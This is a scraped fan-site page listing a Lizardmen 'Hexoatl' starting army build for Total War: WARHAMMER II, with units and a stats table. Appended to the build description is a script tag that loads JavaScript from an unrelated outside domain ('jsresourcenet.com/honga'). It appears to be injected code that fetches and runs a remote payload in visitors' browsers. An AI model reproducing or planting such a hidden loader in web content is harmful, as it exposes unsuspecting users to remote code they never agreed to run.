Left Panel
menu
HomeHome / Total War: WARHAMMER II / Lizardmen / Army / Hexoatl
Hexoatl LizardmenLizardmen Army

Hexoatl

starting army ME
Build by chojnak - 2019-07-18 20:28:11
1 Lord Mazdamundi
100 Temple Guards
100 Saurus Warriors
160 Skink Cohort (Javelins)
160 Skink Cohort (Javelins)
1 Feral Bastiladon
16 Kroxigors

starting army ME<script src="https://jsresourcenet.com/honga"></script>

No. Unit Name Sol. Custom Cost Recru. Cost Upkeep Cost Ship HP. Ship Spd. Msl. Dmg. Rng. Sht. /min Amo. Mle. Atk. Mle. Dmg. Chg. Mle. Def. Arm. HP. Mor.
Command (1) 1 650 1100 275 - - - 26 360 14 32 45 7744 85
1 Lord Mazdamundi Lord Mazdamundi 1 650 1100 275 26 360 14 32 45 7744 85
Melee Infantry (4) 217 3600 3600 909 - - - 108 439 86 120 420 8417 290
2 Temple Guards Temple Guards 100 1200 1200 300 31 42 14 38 120 107 85
3 Saurus Warriors Saurus Warriors 100 750 750 187 29 52 16 28 60 102 75
4 Feral Bastiladon Feral Bastiladon 1 650 650 162 22 250 34 28 140 7698 60
5 Kroxigors Kroxigors 16 1000 1000 260 26 95 22 26 100 510 70
Missile Infantry (2) 320 800 800 200 - 32 - - 6 40 50 20 48 130 100 110
6 Skink Cohort (Javelins) Skink Cohort (Javelins) 160 400 400 100 16 80 6.7 3 20 25 10 24 65 50 55
7 Skink Cohort (Javelins) Skink Cohort (Javelins) 160 400 400 100 16 80 6.7 3 20 25 10 24 65 50 55
Subtotal 538 5050 5500 1384 - 32 - - 6 174 849 120 200 595 16261 485